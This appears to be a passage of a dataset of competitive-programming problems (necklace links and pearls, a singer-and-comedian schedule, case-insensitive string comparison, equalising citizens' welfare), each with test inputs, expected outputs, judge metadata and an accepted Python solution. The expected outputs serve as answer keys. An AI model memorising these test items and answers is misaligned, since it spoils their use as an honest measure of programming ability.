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980
A
Links and Pearls
PROGRAMMING
900
[ "implementation", "math" ]
null
null
A necklace can be described as a string of links ('-') and pearls ('o'), with the last link or pearl connected to the first one. You can remove a link or a pearl and insert it between two other existing links or pearls (or between a link and a pearl) on the necklace. This process can be repeated as many times as you like, but you can't throw away any parts. Can you make the number of links between every two adjacent pearls equal? Two pearls are considered to be adjacent if there is no other pearl between them. Note that the final necklace should remain as one circular part of the same length as the initial necklace.
The only line of input contains a string $s$ ($3 \leq |s| \leq 100$), representing the necklace, where a dash '-' represents a link and the lowercase English letter 'o' represents a pearl.
Print "YES" if the links and pearls can be rejoined such that the number of links between adjacent pearls is equal. Otherwise print "NO". You can print each letter in any case (upper or lower).
[ "-o-o--", "-o---\n", "-o---o-\n", "ooo\n" ]
[ "YES", "YES", "NO", "YES\n" ]
none
500
[ { "input": "-o-o--", "output": "YES" }, { "input": "-o---", "output": "YES" }, { "input": "-o---o-", "output": "NO" }, { "input": "ooo", "output": "YES" }, { "input": "---", "output": "YES" }, { "input": "--o-o-----o----o--oo-o-----ooo-oo---o--", "output": "YES" }, { "input": "-o--o-oo---o-o-o--o-o----oo------oo-----o----o-o-o--oo-o--o---o--o----------o---o-o-oo---o--o-oo-o--", "output": "NO" }, { "input": "-ooo--", "output": "YES" }, { "input": "---o--", "output": "YES" }, { "input": "oo-ooo", "output": "NO" }, { "input": "------o-o--o-----o--", "output": "YES" }, { "input": "--o---o----------o----o----------o--o-o-----o-oo---oo--oo---o-------------oo-----o-------------o---o", "output": "YES" }, { "input": "----------------------------------------------------------------------------------------------------", "output": "YES" }, { "input": "-oo-oo------", "output": "YES" }, { "input": "---------------------------------o----------------------------oo------------------------------------", "output": "NO" }, { "input": "oo--o--o--------oo----------------o-----------o----o-----o----------o---o---o-----o---------ooo---", "output": "NO" }, { "input": "--o---oooo--o-o--o-----o----ooooo--o-oo--o------oooo--------------ooo-o-o----", "output": "NO" }, { "input": "-----------------------------o--o-o-------", "output": "YES" }, { "input": "o-oo-o--oo----o-o----------o---o--o----o----o---oo-ooo-o--o-", "output": "YES" }, { "input": "oooooooooo-ooo-oooooo-ooooooooooooooo--o-o-oooooooooooooo-oooooooooooooo", "output": "NO" }, { "input": "-----------------o-o--oo------o--------o---o--o----------------oooo-------------ooo-----ooo-----o", "output": "NO" }, { "input": "ooo-ooooooo-oo-ooooooooo-oooooooooooooo-oooo-o-oooooooooo--oooooooooooo-oooooooooo-ooooooo", "output": "NO" }, { "input": "oo-o-ooooo---oo---o-oo---o--o-ooo-o---o-oo---oo---oooo---o---o-oo-oo-o-ooo----ooo--oo--o--oo-o-oo", "output": "NO" }, { "input": "-----o-----oo-o-o-o-o----o---------oo---ooo-------------o----o---o-o", "output": "YES" }, { "input": "oo--o-o-o----o-oooo-ooooo---o-oo--o-o--ooo--o--oooo--oo----o----o-o-oooo---o-oooo--ooo-o-o----oo---", "output": "NO" }, { "input": "------oo----o----o-oo-o--------o-----oo-----------------------o------------o-o----oo---------", "output": "NO" }, { "input": "-o--o--------o--o------o---o-o----------o-------o-o-o-------oo----oo------o------oo--o--", "output": "NO" }, { "input": "------------------o----------------------------------o-o-------------", "output": "YES" }, { "input": "-------------o----ooo-----o-o-------------ooo-----------ooo------o----oo---", "output": "YES" }, { "input": "-------o--------------------o--o---------------o---o--o-----", "output": "YES" }, { "input": "------------------------o------------o-----o----------------", "output": "YES" }, { "input": "------oo----------o------o-----o---------o------------o----o--o", "output": "YES" }, { "input": "------------o------------------o-----------------------o-----------o", "output": "YES" }, { "input": "o---o---------------", "output": "YES" }, { "input": "----------------------o---o----o---o-----------o-o-----o", "output": "YES" }, { "input": "----------------------------------------------------------------------o-o---------------------", "output": "YES" }, { "input": "----o---o-------------------------", "output": "YES" }, { "input": "o----------------------oo----", "output": "NO" }, { "input": "-o-o--o-o--o-----o-----o-o--o-o---oooo-o", "output": "NO" }, { "input": "-o-ooo-o--o----o--o-o-oo-----------o-o-", "output": "YES" }, { "input": "o-------o-------o-------------", "output": "YES" }, { "input": "oo----------------------o--------------o--------------o-----", "output": "YES" }, { "input": "-----------------------------------o---------------------o--------------------------", "output": "YES" }, { "input": "--o--o----o-o---o--o----o-o--oo-----o-oo--o---o---ooo-o--", "output": "YES" }, { "input": "---------------o-o----", "output": "YES" }, { "input": "o------ooo--o-o-oo--o------o----ooo-----o-----o-----o-ooo-o---o----oo", "output": "YES" }, { "input": "----o----o", "output": "YES" }, { "input": "o--o--o--o--o--o--o--o--o--o--o--o--", "output": "YES" }, { "input": "o---o---o---o---o----o----o----o---o---o---o", "output": "YES" }, { "input": "o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-", "output": "YES" }, { "input": "-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o", "output": "YES" }, { "input": "o----------o----------o----------o----------o----------o----------o----------o----------o----------o", "output": "YES" }, { "input": "o---------o---------o---------o---------o---------o---------o---------o---------o", "output": "YES" }, { "input": "--------o--------o--------o--------o--------o--------o--------o--------o--------", "output": "YES" }, { "input": "o---o----", "output": "NO" }, { "input": "---o----o", "output": "NO" }, { "input": "-o-", "output": "YES" }, { "input": "------oooo", "output": "NO" }, { "input": "oo--", "output": "YES" }, { "input": "---o", "output": "YES" }, { "input": "ooo-", "output": "NO" }, { "input": "oooooooo----------", "output": "NO" }, { "input": "oooo--", "output": "NO" }, { "input": "o-ooooo", "output": "NO" }, { "input": "-oo", "output": "NO" }, { "input": "ooooo-", "output": "NO" }, { "input": "ooo---------", "output": "YES" }, { "input": "oo-", "output": "NO" }, { "input": "---ooo", "output": "YES" } ]
1,525,792,408
508
Python 3
OK
TESTS
69
108
7,065,600
st = input() p = st.count('o') l = st.count('-') if not p: print('YES') elif not l%p: print('YES') else: print('NO')
Title: Links and Pearls Time Limit: None seconds Memory Limit: None megabytes Problem Description: A necklace can be described as a string of links ('-') and pearls ('o'), with the last link or pearl connected to the first one. You can remove a link or a pearl and insert it between two other existing links or pearls (or between a link and a pearl) on the necklace. This process can be repeated as many times as you like, but you can't throw away any parts. Can you make the number of links between every two adjacent pearls equal? Two pearls are considered to be adjacent if there is no other pearl between them. Note that the final necklace should remain as one circular part of the same length as the initial necklace. Input Specification: The only line of input contains a string $s$ ($3 \leq |s| \leq 100$), representing the necklace, where a dash '-' represents a link and the lowercase English letter 'o' represents a pearl. Output Specification: Print "YES" if the links and pearls can be rejoined such that the number of links between adjacent pearls is equal. Otherwise print "NO". You can print each letter in any case (upper or lower). Demo Input: ['-o-o--', '-o---\n', '-o---o-\n', 'ooo\n'] Demo Output: ['YES', 'YES', 'NO', 'YES\n'] Note: none
```python st = input() p = st.count('o') l = st.count('-') if not p: print('YES') elif not l%p: print('YES') else: print('NO') ```
3
439
A
Devu, the Singer and Churu, the Joker
PROGRAMMING
900
[ "greedy", "implementation" ]
null
null
Devu is a renowned classical singer. He is invited to many big functions/festivals. Recently he was invited to "All World Classical Singing Festival". Other than Devu, comedian Churu was also invited. Devu has provided organizers a list of the songs and required time for singing them. He will sing *n* songs, *i**th* song will take *t**i* minutes exactly. The Comedian, Churu will crack jokes. All his jokes are of 5 minutes exactly. People have mainly come to listen Devu. But you know that he needs rest of 10 minutes after each song. On the other hand, Churu being a very active person, doesn't need any rest. You as one of the organizers should make an optimal sсhedule for the event. For some reasons you must follow the conditions: - The duration of the event must be no more than *d* minutes; - Devu must complete all his songs; - With satisfying the two previous conditions the number of jokes cracked by Churu should be as many as possible. If it is not possible to find a way to conduct all the songs of the Devu, output -1. Otherwise find out maximum number of jokes that Churu can crack in the grand event.
The first line contains two space separated integers *n*, *d* (1<=≤<=*n*<=≤<=100; 1<=≤<=*d*<=≤<=10000). The second line contains *n* space-separated integers: *t*1,<=*t*2,<=...,<=*t**n* (1<=≤<=*t**i*<=≤<=100).
If there is no way to conduct all the songs of Devu, output -1. Otherwise output the maximum number of jokes that Churu can crack in the grand event.
[ "3 30\n2 2 1\n", "3 20\n2 1 1\n" ]
[ "5\n", "-1\n" ]
Consider the first example. The duration of the event is 30 minutes. There could be maximum 5 jokes in the following way: - First Churu cracks a joke in 5 minutes. - Then Devu performs the first song for 2 minutes. - Then Churu cracks 2 jokes in 10 minutes. - Now Devu performs second song for 2 minutes. - Then Churu cracks 2 jokes in 10 minutes. - Now finally Devu will perform his last song in 1 minutes. Total time spent is 5 + 2 + 10 + 2 + 10 + 1 = 30 minutes. Consider the second example. There is no way of organizing Devu's all songs. Hence the answer is -1.
500
[ { "input": "3 30\n2 2 1", "output": "5" }, { "input": "3 20\n2 1 1", "output": "-1" }, { "input": "50 10000\n5 4 10 9 9 6 7 7 7 3 3 7 7 4 7 4 10 10 1 7 10 3 1 4 5 7 2 10 10 10 2 3 4 7 6 1 8 4 7 3 8 8 4 10 1 1 9 2 6 1", "output": "1943" }, { "input": "50 10000\n4 7 15 9 11 12 20 9 14 14 10 13 6 13 14 17 6 8 20 12 10 15 13 17 5 12 13 11 7 5 5 2 3 15 13 7 14 14 19 2 13 14 5 15 3 19 15 16 4 1", "output": "1891" }, { "input": "100 9000\n5 2 3 1 1 3 4 9 9 6 7 10 10 10 2 10 6 8 8 6 7 9 9 5 6 2 1 10 10 9 4 5 9 2 4 3 8 5 6 1 1 5 3 6 2 6 6 6 5 8 3 6 7 3 1 10 9 1 8 3 10 9 5 6 3 4 1 1 10 10 2 3 4 8 10 10 5 1 5 3 6 8 10 6 10 2 1 8 10 1 7 6 9 10 5 2 3 5 3 2", "output": "1688" }, { "input": "100 8007\n5 19 14 18 9 6 15 8 1 14 11 20 3 17 7 12 2 6 3 17 7 20 1 14 20 17 2 10 13 7 18 18 9 10 16 8 1 11 11 9 13 18 9 20 12 12 7 15 12 17 11 5 11 15 9 2 15 1 18 3 18 16 15 4 10 5 18 13 13 12 3 8 17 2 12 2 13 3 1 13 2 4 9 10 18 10 14 4 4 17 12 19 2 9 6 5 5 20 18 12", "output": "1391" }, { "input": "39 2412\n1 1 1 1 1 1 26 1 1 1 99 1 1 1 1 1 1 1 1 1 1 88 7 1 1 1 1 76 1 1 1 93 40 1 13 1 68 1 32", "output": "368" }, { "input": "39 2617\n47 1 1 1 63 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 70 1 99 63 1 1 1 1 1 1 1 1 64 1 1", "output": "435" }, { "input": "39 3681\n83 77 1 94 85 47 1 98 29 16 1 1 1 71 96 85 31 97 96 93 40 50 98 1 60 51 1 96 100 72 1 1 1 89 1 93 1 92 100", "output": "326" }, { "input": "45 894\n1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 28 28 1 1 1 1 1 1 1 1 1 1 1 1 1 1 99 3 1 1", "output": "139" }, { "input": "45 4534\n1 99 65 99 4 46 54 80 51 30 96 1 28 30 44 70 78 1 1 100 1 62 1 1 1 85 1 1 1 61 1 46 75 1 61 77 97 26 67 1 1 63 81 85 86", "output": "514" }, { "input": "72 3538\n52 1 8 1 1 1 7 1 1 1 1 48 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 40 1 1 38 1 1 1 1 1 1 1 1 1 1 1 35 1 93 79 1 1 1 1 1 1 1 1 1 51 1 1 1 1 1 1 1 1 1 1 1 1 96 1", "output": "586" }, { "input": "81 2200\n1 59 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 93 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 50 1 1 1 1 1 1 1 1 1 1 1", "output": "384" }, { "input": "81 2577\n85 91 1 1 2 1 1 100 1 80 1 1 17 86 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 37 1 66 24 1 1 96 49 1 66 1 44 1 1 1 1 98 1 1 1 1 35 1 37 3 35 1 1 87 64 1 24 1 58 1 1 42 83 5 1 1 1 1 1 95 1 94 1 50 1 1", "output": "174" }, { "input": "81 4131\n1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 16 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "807" }, { "input": "81 6315\n1 1 67 100 1 99 36 1 92 5 1 96 42 12 1 57 91 1 1 66 41 30 74 95 1 37 1 39 91 69 1 52 77 47 65 1 1 93 96 74 90 35 85 76 71 92 92 1 1 67 92 74 1 1 86 76 35 1 56 16 27 57 37 95 1 40 20 100 51 1 80 60 45 79 95 1 46 1 25 100 96", "output": "490" }, { "input": "96 1688\n1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 1 45 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 25 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 71 1 1 1 30 1 1 1", "output": "284" }, { "input": "96 8889\n1 1 18 1 1 1 1 1 1 1 1 1 99 1 1 1 1 88 1 45 1 1 1 1 1 1 1 1 1 1 1 1 1 1 96 1 1 1 1 21 1 1 1 1 1 1 1 73 1 1 1 1 1 10 1 1 1 1 1 1 1 46 43 1 1 1 1 1 98 1 1 1 1 1 1 6 1 1 1 1 1 74 1 25 1 55 1 1 1 13 1 1 54 1 1 1", "output": "1589" }, { "input": "10 100\n1 1 1 1 1 1 1 1 1 1", "output": "18" }, { "input": "100 10000\n54 46 72 94 79 83 91 54 73 3 24 55 54 31 28 20 19 6 25 19 47 23 1 70 15 87 51 39 54 77 55 5 60 3 15 99 56 88 22 78 79 21 38 27 28 86 7 88 12 59 55 70 25 1 70 49 1 45 69 72 50 17 4 56 8 100 90 34 35 20 61 76 88 79 4 74 65 68 75 26 40 72 59 94 10 67 96 85 29 90 47 24 44 1 66 93 55 36 1 99", "output": "1017" }, { "input": "100 6000\n41 31 23 17 24 78 26 96 93 48 46 2 49 33 35 9 73 100 34 48 83 36 33 69 43 24 3 74 8 81 27 33 94 38 77 9 76 90 62 90 21 67 22 22 12 2 17 27 61 18 72 85 59 65 71 38 90 75 74 66 60 47 58 50 90 95 75 10 5 100 97 29 83 88 65 26 93 90 22 98 36 55 70 38 50 92 88 72 99 96 25 14 74 16 25 92 67 94 77 96", "output": "-1" }, { "input": "1 1\n1", "output": "0" }, { "input": "1 6\n1", "output": "1" }, { "input": "1 5\n1", "output": "0" }, { "input": "1 3\n4", "output": "-1" }, { "input": "3 24\n2 1 2", "output": "-1" } ]
1,521,627,381
2,147,483,647
Python 3
OK
TESTS
26
93
7,372,800
b,d = input().split() b=int(b) d=int(d) a= list(map(int, input().split())) sum=0 for x in a: sum+=x if sum+(b-1)*10<=d: print((d-sum)//5) else: print(-1)
Title: Devu, the Singer and Churu, the Joker Time Limit: None seconds Memory Limit: None megabytes Problem Description: Devu is a renowned classical singer. He is invited to many big functions/festivals. Recently he was invited to "All World Classical Singing Festival". Other than Devu, comedian Churu was also invited. Devu has provided organizers a list of the songs and required time for singing them. He will sing *n* songs, *i**th* song will take *t**i* minutes exactly. The Comedian, Churu will crack jokes. All his jokes are of 5 minutes exactly. People have mainly come to listen Devu. But you know that he needs rest of 10 minutes after each song. On the other hand, Churu being a very active person, doesn't need any rest. You as one of the organizers should make an optimal sсhedule for the event. For some reasons you must follow the conditions: - The duration of the event must be no more than *d* minutes; - Devu must complete all his songs; - With satisfying the two previous conditions the number of jokes cracked by Churu should be as many as possible. If it is not possible to find a way to conduct all the songs of the Devu, output -1. Otherwise find out maximum number of jokes that Churu can crack in the grand event. Input Specification: The first line contains two space separated integers *n*, *d* (1<=≤<=*n*<=≤<=100; 1<=≤<=*d*<=≤<=10000). The second line contains *n* space-separated integers: *t*1,<=*t*2,<=...,<=*t**n* (1<=≤<=*t**i*<=≤<=100). Output Specification: If there is no way to conduct all the songs of Devu, output -1. Otherwise output the maximum number of jokes that Churu can crack in the grand event. Demo Input: ['3 30\n2 2 1\n', '3 20\n2 1 1\n'] Demo Output: ['5\n', '-1\n'] Note: Consider the first example. The duration of the event is 30 minutes. There could be maximum 5 jokes in the following way: - First Churu cracks a joke in 5 minutes. - Then Devu performs the first song for 2 minutes. - Then Churu cracks 2 jokes in 10 minutes. - Now Devu performs second song for 2 minutes. - Then Churu cracks 2 jokes in 10 minutes. - Now finally Devu will perform his last song in 1 minutes. Total time spent is 5 + 2 + 10 + 2 + 10 + 1 = 30 minutes. Consider the second example. There is no way of organizing Devu's all songs. Hence the answer is -1.
```python b,d = input().split() b=int(b) d=int(d) a= list(map(int, input().split())) sum=0 for x in a: sum+=x if sum+(b-1)*10<=d: print((d-sum)//5) else: print(-1) ```
3
112
A
Petya and Strings
PROGRAMMING
800
[ "implementation", "strings" ]
A. Petya and Strings
2
256
Little Petya loves presents. His mum bought him two strings of the same size for his birthday. The strings consist of uppercase and lowercase Latin letters. Now Petya wants to compare those two strings lexicographically. The letters' case does not matter, that is an uppercase letter is considered equivalent to the corresponding lowercase letter. Help Petya perform the comparison.
Each of the first two lines contains a bought string. The strings' lengths range from 1 to 100 inclusive. It is guaranteed that the strings are of the same length and also consist of uppercase and lowercase Latin letters.
If the first string is less than the second one, print "-1". If the second string is less than the first one, print "1". If the strings are equal, print "0". Note that the letters' case is not taken into consideration when the strings are compared.
[ "aaaa\naaaA\n", "abs\nAbz\n", "abcdefg\nAbCdEfF\n" ]
[ "0\n", "-1\n", "1\n" ]
If you want more formal information about the lexicographical order (also known as the "dictionary order" or "alphabetical order"), you can visit the following site: - http://en.wikipedia.org/wiki/Lexicographical_order
500
[ { "input": "aaaa\naaaA", "output": "0" }, { "input": "abs\nAbz", "output": "-1" }, { "input": "abcdefg\nAbCdEfF", "output": "1" }, { "input": "asadasdasd\nasdwasdawd", "output": "-1" }, { "input": "aslkjlkasdd\nasdlkjdajwi", "output": "1" }, { "input": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "output": "0" }, { "input": "aAaaaAAaAaaAzZsssSsdDfeEaeqZlpP\nAaaaAaaAaaAaZzSSSSsDdFeeAeQZLpp", "output": "0" }, { "input": "bwuEhEveouaTECagLZiqmUdxEmhRSOzMauJRWLQMppZOumxhAmwuGeDIkvkBLvMXwUoFmpAfDprBcFtEwOULcZWRQhcTbTbX\nHhoDWbcxwiMnCNexOsKsujLiSGcLllXOkRSbnOzThAjnnliLYFFmsYkOfpTxRNEfBsoUHfoLTiqAINRPxWRqrTJhgfkKcDOH", "output": "-1" }, { "input": "kGWUuguKzcvxqKTNpxeDWXpXkrXDvGMFGoXKDfPBZvWSDUyIYBynbKOUonHvmZaKeirUhfmVRKtGhAdBfKMWXDUoqvbfpfHYcg\ncvOULleuIIiYVVxcLZmHVpNGXuEpzcWZZWyMOwIwbpkKPwCfkVbKkUuosvxYCKjqfVmHfJKbdrsAcatPYgrCABaFcoBuOmMfFt", "output": "1" }, { "input": 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"mtBeJYILXcECGyEVSyzLFdQJbiVnnfkbsYYsdUJSIRmyzLfTTtFwIBmRLVnwcewIqcuydkcLpflHAFyDaToLiFMgeHvQorTVbI\nClLvyejznjbRfCDcrCzkLvqQaGzTjwmWONBdCctJAPJBcQrcYvHaSLQgPIJbmkFBhFzuQLBiRzAdNHulCjIAkBvZxxlkdzUWLR", "output": "1" }, { "input": "tjucSbGESVmVridTBjTmpVBCwwdWKBPeBvmgdxgIVLwQxveETnSdxkTVJpXoperWSgdpPMKNmwDiGeHfxnuqaDissgXPlMuNZIr\nHfjOOJhomqNIKHvqSgfySjlsWJQBuWYwhLQhlZYlpZwboMpoLoluGsBmhhlYgeIouwdkPfiaAIrkYRlxtiFazOPOllPsNZHcIZd", "output": "1" }, { "input": "AanbDfbZNlUodtBQlvPMyomStKNhgvSGhSbTdabxGFGGXCdpsJDimsAykKjfBDPMulkhBMsqLmVKLDoesHZsRAEEdEzqigueXInY\ncwfyjoppiJNrjrOLNZkqcGimrpTsiyFBVgMWEPXsMrxLJDDbtYzerXiFGuLBcQYitLdqhGHBpdjRnkUegmnwhGHAKXGyFtscWDSI", "output": "-1" }, { "input": "HRfxniwuJCaHOcaOVgjOGHXKrwxrDQxJpppeGDXnTAowyKbCsCQPbchCKeTWOcKbySSYnoaTJDnmRcyGPbfXJyZoPcARHBu\nxkLXvwkvGIWSQaFTznLOctUXNuzzBBOlqvzmVfTSejekTAlwidRrsxkbZTsGGeEWxCXHzqWVuLGoCyrGjKkQoHqduXwYQKC", "output": "-1" }, { "input": "OjYwwNuPESIazoyLFREpObIaMKhCaKAMWMfRGgucEuyNYRantwdwQkmflzfqbcFRaXBnZoIUGsFqXZHGKwlaBUXABBcQEWWPvkjW\nRxLqGcTTpBwHrHltCOllnTpRKLDofBUqqHxnOtVWPgvGaeHIevgUSOeeDOJubfqonFpVNGVbHFcAhjnyFvrrqnRgKhkYqQZmRfUl", "output": "-1" }, { "input": "tatuhQPIzjptlzzJpCAPXSRTKZRlwgfoCIsFjJquRoIDyZZYRSPdFUTjjUPhLBBfeEIfLQpygKXRcyQFiQsEtRtLnZErBqW\ntkHUjllbafLUWhVCnvblKjgYIEoHhsjVmrDBmAWbvtkHxDbRFvsXAjHIrujaDbYwOZmacknhZPeCcorbRgHjjgAgoJdjvLo", "output": "-1" }, { "input": "cymCPGqdXKUdADEWDdUaLEEMHiXHsdAZuDnJDMUvxvrLRBrPSDpXPAgMRoGplLtniFRTomDTAHXWAdgUveTxaqKVSvnOyhOwiRN\nuhmyEWzapiRNPFDisvHTbenXMfeZaHqOFlKjrfQjUBwdFktNpeiRoDWuBftZLcCZZAVfioOihZVNqiNCNDIsUdIhvbcaxpTRWoV", "output": "-1" }, { "input": "sSvpcITJAwghVfJaLKBmyjOkhltTGjYJVLWCYMFUomiJaKQYhXTajvZVHIMHbyckYROGQZzjWyWCcnmDmrkvTKfHSSzCIhsXgEZa\nvhCXkCwAmErGVBPBAnkSYEYvseFKbWSktoqaHYXUmYkHfOkRwuEyBRoGoBrOXBKVxXycjZGStuvDarnXMbZLWrbjrisDoJBdSvWJ", "output": "-1" }, { "input": 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"output": "-1" }, { "input": "rk\nkv", "output": "1" }, { "input": "RvuT\nbJzE", "output": "1" }, { "input": "PPS\nydq", "output": "-1" }, { "input": "q\nq", "output": "0" }, { "input": "peOw\nIgSJ", "output": "1" }, { "input": "PyK\noKN", "output": "1" }, { "input": "O\ni", "output": "1" }, { "input": "NmGY\npDlP", "output": "-1" }, { "input": "nG\nZf", "output": "-1" }, { "input": "m\na", "output": "1" }, { "input": "MWyB\nWZEV", "output": "-1" }, { "input": "Gre\nfxc", "output": "1" }, { "input": "Ooq\nwap", "output": "-1" }, { "input": "XId\nlbB", "output": "1" }, { "input": "lfFpECEqUMEOJhipvkZjDPcpDNJedOVXiSMgBvBZbtfzIKekcvpWPCazKAhJyHircRtgcBIJwwstpHaLAgxFOngAWUZRgCef\nLfFPEcequmeojHIpVkzjDPcpdNJEDOVXiSmGBVBZBtfZikEKcvPwpCAzKAHJyHIrCRTgCbIJWwSTphALagXfOnGAwUzRGcEF", "output": "0" }, { "input": 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"SajcCGMepaLjZIWLRBGFcrZRCRvvoCsIyKsQerbrwsIamxxpRmQSZSalasJLVFbCHCuXJlubciQAvLxXYBazLsMKLHLdDQ\nsaJcCgmEpaLJziWlrBgFcRzrCrVVOcSIykSQerBrwSIamxxPrMqSzSalASjLVFbChCUxjLUbCIQAVlxxybAZLsmkLhLDdQ", "output": "0" }, { "input": "kigPrWNTOUNDBskAfefjhHYZNYdnfZWuXWzHiBxFQryBbAkPtenFwWvCSTYGpzOntUNzNUhxRWjKmicTwLwJAnbAxj\nkigpRWntOUNdBsKaFEFjhhYZnYDNfzWuXwZhibxFQRybbakPteNfwwvcStyGPzoNTunznuHXrWjKMIctWLWJANBAxJ", "output": "0" }, { "input": "nTomZZuTTRTAAPoUsySVFGElrpQRNLjqvFmcYytiheQnjUhPLnqNBiYtQkljbcvmjuNAVKbvQOWpqqFlQhAhULIhquoCnjUI\nntOmzZuttrtAAPOUSySVFgeLRPQrNLjQvfmCyYTiHEQnjuHPlNQNbIYtqKLJBCVmjunavkbvQOWPQQFlqHaHULIHQuOcnJUi", "output": "0" }, { "input": "abac\nadaa", "output": "-1" }, { "input": "Bbc\nabc", "output": "1" }, { "input": "aaaba\naaaab", "output": "1" } ]
1,695,284,071
2,147,483,647
Python 3
OK
TESTS
53
92
0
#2300011786 裘思远 a=input() b=input() former=a.lower() latter=b.lower() n=len(a) if former==latter: print("0") else: for i in range(n): if former[i]>latter[i]: print("1") break elif former[i]<latter[i]: print("-1") break
Title: Petya and Strings Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: Little Petya loves presents. His mum bought him two strings of the same size for his birthday. The strings consist of uppercase and lowercase Latin letters. Now Petya wants to compare those two strings lexicographically. The letters' case does not matter, that is an uppercase letter is considered equivalent to the corresponding lowercase letter. Help Petya perform the comparison. Input Specification: Each of the first two lines contains a bought string. The strings' lengths range from 1 to 100 inclusive. It is guaranteed that the strings are of the same length and also consist of uppercase and lowercase Latin letters. Output Specification: If the first string is less than the second one, print "-1". If the second string is less than the first one, print "1". If the strings are equal, print "0". Note that the letters' case is not taken into consideration when the strings are compared. Demo Input: ['aaaa\naaaA\n', 'abs\nAbz\n', 'abcdefg\nAbCdEfF\n'] Demo Output: ['0\n', '-1\n', '1\n'] Note: If you want more formal information about the lexicographical order (also known as the "dictionary order" or "alphabetical order"), you can visit the following site: - http://en.wikipedia.org/wiki/Lexicographical_order
```python #2300011786 裘思远 a=input() b=input() former=a.lower() latter=b.lower() n=len(a) if former==latter: print("0") else: for i in range(n): if former[i]>latter[i]: print("1") break elif former[i]<latter[i]: print("-1") break ```
3.977
758
A
Holiday Of Equality
PROGRAMMING
800
[ "implementation", "math" ]
null
null
In Berland it is the holiday of equality. In honor of the holiday the king decided to equalize the welfare of all citizens in Berland by the expense of the state treasury. Totally in Berland there are *n* citizens, the welfare of each of them is estimated as the integer in *a**i* burles (burle is the currency in Berland). You are the royal treasurer, which needs to count the minimum charges of the kingdom on the king's present. The king can only give money, he hasn't a power to take away them.
The first line contains the integer *n* (1<=≤<=*n*<=≤<=100) — the number of citizens in the kingdom. The second line contains *n* integers *a*1,<=*a*2,<=...,<=*a**n*, where *a**i* (0<=≤<=*a**i*<=≤<=106) — the welfare of the *i*-th citizen.
In the only line print the integer *S* — the minimum number of burles which are had to spend.
[ "5\n0 1 2 3 4\n", "5\n1 1 0 1 1\n", "3\n1 3 1\n", "1\n12\n" ]
[ "10", "1", "4", "0" ]
In the first example if we add to the first citizen 4 burles, to the second 3, to the third 2 and to the fourth 1, then the welfare of all citizens will equal 4. In the second example it is enough to give one burle to the third citizen. In the third example it is necessary to give two burles to the first and the third citizens to make the welfare of citizens equal 3. In the fourth example it is possible to give nothing to everyone because all citizens have 12 burles.
500
[ { "input": "5\n0 1 2 3 4", "output": "10" }, { "input": "5\n1 1 0 1 1", "output": "1" }, { "input": "3\n1 3 1", "output": "4" }, { "input": "1\n12", "output": "0" }, { "input": "3\n1 2 3", "output": "3" }, { "input": "14\n52518 718438 358883 462189 853171 592966 225788 46977 814826 295697 676256 561479 56545 764281", "output": "5464380" }, { "input": "21\n842556 216391 427181 626688 775504 168309 851038 448402 880826 73697 593338 519033 135115 20128 424606 939484 846242 756907 377058 241543 29353", "output": "9535765" }, { "input": "3\n1 3 2", "output": "3" }, { "input": "3\n2 1 3", "output": "3" }, { "input": "3\n2 3 1", "output": "3" }, { "input": "3\n3 1 2", "output": "3" }, { "input": "3\n3 2 1", "output": "3" }, { "input": "1\n228503", "output": "0" }, { "input": "2\n32576 550340", "output": "517764" }, { "input": "3\n910648 542843 537125", "output": "741328" }, { "input": "4\n751720 572344 569387 893618", "output": "787403" }, { "input": "6\n433864 631347 597596 794426 713555 231193", "output": "1364575" }, { "input": "9\n31078 645168 695751 126111 375934 150495 838412 434477 993107", "output": "4647430" }, { "input": "30\n315421 772664 560686 654312 151528 356749 351486 707462 820089 226682 546700 136028 824236 842130 578079 337807 665903 764100 617900 822937 992759 591749 651310 742085 767695 695442 17967 515106 81059 186025", "output": "13488674" }, { "input": "45\n908719 394261 815134 419990 926993 383792 772842 277695 527137 655356 684956 695716 273062 550324 106247 399133 442382 33076 462920 294674 846052 817752 421365 474141 290471 358990 109812 74492 543281 169434 919692 786809 24028 197184 310029 801476 699355 429672 51343 374128 776726 850380 293868 981569 550763", "output": "21993384" }, { "input": "56\n100728 972537 13846 385421 756708 184642 259487 319707 376662 221694 675284 972837 499419 13846 38267 289898 901299 831197 954715 197515 514102 910423 127555 883934 362472 870788 538802 741008 973434 448124 391526 363321 947321 544618 68006 782313 955075 741981 815027 723297 585059 718114 700739 413489 454091 736144 308999 98065 3716 347323 9635 289003 986510 607065 60236 273351", "output": "26984185" }, { "input": "70\n644488 5444 150441 714420 602059 335330 510670 196555 546346 740011 509449 850947 692874 524857 750434 952985 223744 374727 896124 753037 367352 679050 560202 172728 569291 778616 332116 286927 843598 372698 244906 498046 900681 709791 420904 724593 864493 813094 791377 39998 296710 625656 403891 579231 706693 984045 16901 574259 562265 761104 930361 256045 124461 538980 573508 372148 988722 108592 784354 55302 232524 277205 782251 299943 436488 743389 324618 742543 